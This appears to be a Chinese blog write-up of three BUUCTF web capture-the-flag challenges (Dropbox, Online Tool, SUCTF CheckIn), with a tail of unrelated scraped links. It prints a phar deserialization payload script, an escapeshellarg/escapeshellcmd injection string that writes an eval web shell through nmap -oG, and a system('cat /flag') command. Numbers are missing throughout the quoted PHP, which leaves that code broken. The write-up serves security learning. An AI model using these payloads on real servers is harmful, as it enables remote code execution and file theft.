[CISCN2019 华北赛区 Day1 Web1]Dropbox

打开题目,一个登录界面,SQL?

sqlmap跑一下,没有注入,那么注册一下

登录之后,发现只有一个上传页面,源码里面也没有什么

那就上传看看吧,只能上传图片格式的

上传一个试试

上传之后,发现有下载和删除选项,下载抓包看看。

在下载文件存在任意文件下载漏洞

在index.php里面看到包含了文件class.php,然后在下载其他文件,不过没有flag.php或者flag.txt

那么就代码审计

download.php,简单的对文件名做了一个限定

<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
} if (!isset($_POST['filename'])) {
die();
} include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

delete.php,先post一个filename,然后判断文件名长度,并打开文件,最后删除文件

<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
} if (!isset($_POST['filename'])) {
die();
} include "class.php"; chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

class.php

<?php
error_reporting();
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User {
public $db;
//定义一个构造方法初始化数据库
public function __construct() {
global $db; //调用全局变量
$this->db = $db; //初始化,连接数据库使用
} //定义一个判断用户是否存在的函数,在数据库里查询
public function user_exist($username) {
//prepare 用于预备一个语句,方便以后引用
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
//bind_param() 该函数绑定了SQL的参数,告诉数据库参数的值,s为string
$stmt->bind_param("s", $username);
$stmt->execute(); //execute()函数 用来执行之前预处理的语句
$stmt->store_result(); //返回查询的数据
$count = $stmt->num_rows;
if ($count === ) {
return false;
}
return true;
} //
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
} //确认用户存在
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx"); //加盐哈希
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
// 析构函数,对象生命周期结束的时候调用,必定执行,在结束的时候,会调用close()函数,
// 在File类中可以看到,close函数,会执行file_get_contents(),来获取文件的内容
public function __destruct() {
$this->db->close();
}
} class FileList {
private $files;
private $results;
private $funcs; public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path); $key = array_search(".", $filenames); // 在数组中搜索给定的值,成功则返回相应的键名。
unset($filenames[$key]); //销毁键名
$key = array_search("..", $filenames);
unset($filenames[$key]); foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file); //将一个或多个单元压入数组的末尾,将file往files数组里面添加
$this->results[$file->name()] = array(); //这里得到上传文件名的名字,比如说,flag.txt
}
} //定义了一个魔术方法,用来监视一个对象的其他方法,如果调用了该类中没有定义的方法,就会触发该方法执行。
public function __call($func, $args) {
array_push($this->funcs, $func); //如果调用了不存在的方法,将改方法放到funcs数组中
foreach ($this->files as $file) { //再从files数组中取出方法,利用这个元素去调用funcs中新增的func
$this->results[$file->name()][$func] = $file->$func(); //$file->$func相当于close()函数
}
} public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
//根据上面call魔术方法,funcs里面是FileList类里没有定义的方法,下面开始遍历
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
//这里遍历,我们构造的filename为/flag.txt,所以这里利用close方法,读取flag.txt的值
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
} class File {
public $filename; public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
} public function name() {
return basename($this->filename); //该函数返回路径中,文件的部分,比如../../uploads/test.php ,返回的是test.php
//利用的时候,flanamew设为/flag.txt,,则调用name函数的时候,返回的是flag.txt
} public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = ; $size >= && $i < ; $i++) $size /= ;
return round($size, ).$units[$i];
} public function detele() {
unlink($this->filename);
} //定义close()函数,用来获取文件的内容
public function close() {
return file_get_contents($this->filename);
}
}
?>

从上面的三个代码审计可以知道,download.php代码就存在一个任意文件下载漏洞这么个作用,然后在delete.php执行的时候会post一个filename,并且会打开文件,然后删除文件,这里可以利用来读取文件

最后就是class.php,定义了三个类,User,FileList,File。

在User类中,重要关注的是析构函数,他会调用close()函数,而close函数是File类里面定义的一个用来读取文件内容

析构函数会在对象生命周期结束的时候调用,所以最终会调用close()函数,并且读取文件,没有回显,不会输出

那么输出只能在FileList类里面了,可以看到,里面有两个关键的方法,__call魔术方法,方法作用就不说了,上面代码里面说的清楚

__destruct()析构函数里面,有输出,会调用触发__call方法的方法,利用这个来读取文件,并输出。

对于上面的,我们需要使用phar:协议来绕过对flag字符的,读取文件

关于该协议,这里说的不错:https://xz.aliyun.com/t/2715

那么就可以创建User的对象,让db变量是FileList的对象,对象中的文件名定为的位置,猜为flag.txt这样db对象结束时就会调用析构函数,继而执行close函数。但是在db变量中是没有close方法的,所以会触发__call方法,这样就会变成执行了File对象的close方法,触发完__call方法之后,接下来就是析构函数,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来

下面是利用phar来构造payload:

<?php
class User {
public $db;
public function __construct(){
$this->db=new FileList;
}
} class File{
public $filename;
} class FileList{
private $files;
private $results;
private $funcs;
public function __construct(){
$file=new File;
$file->filename='/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array(); } } ini_set('phar.readonly',);
@unlink("phar.phar");
$phar = new Phar("mortals.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$mortals = new User();
$phar->setMetadata($mortals); //将自定义的meta-data存入manifest
$phar->addFromString("shell.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

执行之后,会生成一个一个文件mortals.phar

上传phar,然后删除时,delete.php处存在file类的open函数,open函数存在file_exists()方法,这样就可以触发我们phar的反序列化,然后我们phar中调用了User类,User类destruct的时候,调用了db.close方法。抓包,改包,发包,利用phar://协议来读取文件,最终得到flag。

..............end..........

代码审计好难,懵懵懂懂的,看了各位大哥WP。

Online Tool

打开题目地址得到源码,代码审计:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {    //获取IP
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
} if(!isset($_GET['host'])) {
highlight_file(__FILE__); //对文件语法进行高亮显示
} else {
$host = $_GET['host'];
$host = escapeshellarg($host); //把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号
$host = escapeshellcmd($host); //对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox); //新建目录,默认权限,最大可能的访问权
chdir($sandbox); //改变目录路径,成功返回true,失败返回false
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
// -sT,在目标主机的日志上记录大批连接请求和错误的信息
// -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令
// -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟
// --host-time限制扫描时间
// -F,快速扫描

关键点在于这个两个函数,这两个函数结合在一起使用,且先调用escapeshellarg函数的时候,有危险

$host = escapeshellarg($host);
$host = escapeshellcmd($host);

可以知道,escapeshellarg函数会先对host变量中的单引号进行转义,并且转义之后,在 \' 的左右两边再加上单引号,变成 '\''

接下来到escapeshellcmd函数,会对host变量中的特殊字符进行转义(&#;`|*?~<>^()[]{}$\, \x0A//和\xFF以及不配对的单/双引号转义)

那么上面的 \ 就会被再次转义,比如变成 '\\''

在测试的时候得到,如果在字符串首尾加上单引号,经过escapeshellarg函数之后,就可以实现将单引号给闭合了,在经过escapeshellcmd函数的时候单引号就是配对的,就不会进行转义

比如说:

'mortals tx'

先后经过两个函数的变化:

escapeshellarg:''\'' mortals tx ''\''
escapeshellcmd: ''\\''mortals tx ''\\''

这样就可以实现单引号的逃逸了

在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件,也就是说我们可以使用这个参数

写一个一句话到sandbox里面去,然后执行就行了

在一句话里面,因为又特殊字符,所以经过escapeshellcmd函数的时候会被转义,但执行的时候就没了

来测试一下看看

可以看到,通过-oG参数,得到了一个text1的文件(高版本的可以使用-oN,题目环境为php5版本),里面就有写的一句话,变正常了

也就是说,可以这样构造来一句话后门了

?host=' <?php @eval($_POST["tx"]);?> -oG mortals.php '

根据给的源码知道,执行之后,会生成一个目录,然后这个文件就到了生成的目录中

在生成的目录下执行mortals.php文件,然后蚁剑连接

可以看到,上传成功,并且,可以打开终端了,在根目录下,可以发现flag文件

打开,即可获得flag。

当然,也可以将一句话中的POST改为GET,然后再URL上直接执行系统命令,获取flag

/mortals.php?tx=system('cat /flag');

参考资料:

https://paper.seebug.org/164/#0-tsina-1-56231-397232819ff9a47a7b7e80a40613cfe1

https://althims.com/2019/07/25/buu-online-tool-wp/

https://v0w.top/2018/04/21/SKCTF2-wp/#web-nmap

http://eustiar.tk/archives/521

http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/#%E4%B8%80-%E5%89%8D%E6%83%85%E6%8F%90%E8%A6%81

[SUCTF 2019]CheckIn

基于各位师傅的WP,复现,学习

上传的题目

题目的考点是利用.user.ini漏洞

通过查看P牛关于.user.ini文件利用:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

可以知道PHP_INI配置文件的一些配置,可以通过.user.ini来实现,而.user.ini文件是用户自定义的

可以设置PHP_INI里面除了PHP_INI_SYSTEM模式外的之外的配置文件

而在PHP_INI里面有个配置是.user.ini是有权设置的:auto_prepend_file,通过这个设置可以实现包含文件

在该题里面,禁止了很多,但是对于上传的文件,是通过exif_image来判断上传的文件头,读取一个图像的第一个字节并检查其签名。

可以在上传的文件头加一个图片的文件头就可以了

那么现在就是制作.user.ini文件和一句话,先上传.user.ini文件来实现包含,上传之后还给出了文件所在目录

接着上传test.png

上传成功之后,访问即可获得flag

BUUCTF复现记录2的更多相关文章

  1. BUUCTF复现记录1

    平台地址:https://buuoj.cn/  里面很多之前的题目,不错的平台.另外幕后大哥博客https://www.zhaoj.in/     以下的解题,都是参考各位大佬的WP去复现,重在记录下 ...

  2. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  3. HTTPoxy漏洞(CVE-2016-5385)复现记录

    漏洞介绍: httpoxy是cgi中的一个环境变量:而服务器和CGI程序之间通信,一般是通过进程的环境变量和管道. CGI介绍 CGI 目前由 NCSA 维护,NCSA 定义 CGI 如下:CGI(C ...

  4. CVE 2019-0708 漏洞复现+

    PART 1 参考链接:https://blog.csdn.net/qq_42184699/article/details/90754333 漏洞介绍: 当未经身份验证的攻击者使用 RDP 连接到目标 ...

  5. Shellshock远程命令注入(CVE-2014-6271)漏洞复现

    请勿用于非法用法,本帖仅为学习记录 shelshocke简介: shellshock即unix 系统下的bash shell的一个漏洞,Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全 ...

  6. PHP危险函数的持续学习

    记录下遇到过的PHP危险函数 0x01 escapeshellarg()与escapeshellsmd()联合 先给出官方的定义: escapeshellarg ( string $arg ) : s ...

  7. 【我的第一个现实漏洞分析】 CVE-2017-17215 华为智能路由器HG532 漏洞分析笔记

    0x00 基本信息 2017.11.27 Check Point团队报告华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215),Mirai的升级版变种中已经使用该漏洞. 华为HG53 ...

  8. 2020i春秋新春战疫

    简单的招聘系统 登陆这里就可以注入 查询这里也可以注入 从登陆这里注入把 爆破数据库名 爆破表名 列名 flag 就很奇怪跑出来的东西 重开容器跑一遍列,估计是flaaag.后面可能是发生了502 再 ...

  9. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

随机推荐

  1. [转]Ubuntu 上创建常用磁盘阵列

    链接地址:https://www.jianshu.com/p/9a458510593a

  2. LODOP打印表格错位的几种情况

    在网页设计中,表格经常用到百分比,表格在浏览器中展示,这个百分比是相对于浏览器的.还有div,各种浮动之类的相对位置,也有的用到百分比.而在LODOP打印中,百分比是相对于纸张的.LODOP中打印项的 ...

  3. JS正则验证数字格式2

    之前的博文:JS验证正数字,正则的一种正数规则1,中isNaN可以判断内容是否为数字,但是这种判断出来的数字,有的不是数字的标准格式.那篇博文中尝试了下用正则验证,但是忘了一种情况,小数点后无数字,小 ...

  4. Ubuntu开发环境配置

    主要是: 源的更新 安装vim编辑器 远程登录xrdp相关配置 synergy symless键鼠共享配置 对新买的硬盘进行格式化和分区 vsftp环境搭建 gcc开发环境配置 qt5开发环境配置 m ...

  5. OpenCV基于字节指针进行高效像素遍历

    直接获取Mat对象的像素块的数据指针,基于字节指针操作,实现快速像素遍历方法(1280x720, 彩色,仅需几毫秒完成).Mat对象的数据组织形式与像素块数据的存储方式,Mat对象由两个部分组成,元数 ...

  6. php扩展安装方式

    目录 扩展安装 php源码编译安装 PEAR.PECL phpize 源码安装 扩展安装 以php安装swoole扩展为例. php源码编译安装 下载源码包并编译安装 $ wget http://cn ...

  7. C之推栈溢出原因

    https://blog.csdn.net/weixin_36194037/article/details/78871468

  8. 题解 Luogu P1110 【[ZJOI2007]报表统计】

    感谢 @cmy962085349 提供的hack数据,已经改对了. 先声明,我好像是题解里写双$fhq$ $treap$里唯一能过的...(最后两个点啊) 思路:首先看题目,$MIN_GAP_SORT ...

  9. 长乐培训Day8

    T1 远征 题目 [题目描述] 寒枫将军将要带领他的部队去圣雪山消灭那里的冰龙.部队分成了若干个小队,属于同一个小队的人兵种相同. 寒枫将军有着杰出的指挥能力,在战斗的时候,寒枫将军能够让所有相同兵种 ...

  10. pycharm 使用black

    pycharm 使用black The Uncompromising Code Formatter By using Black, you agree to cede control over min ...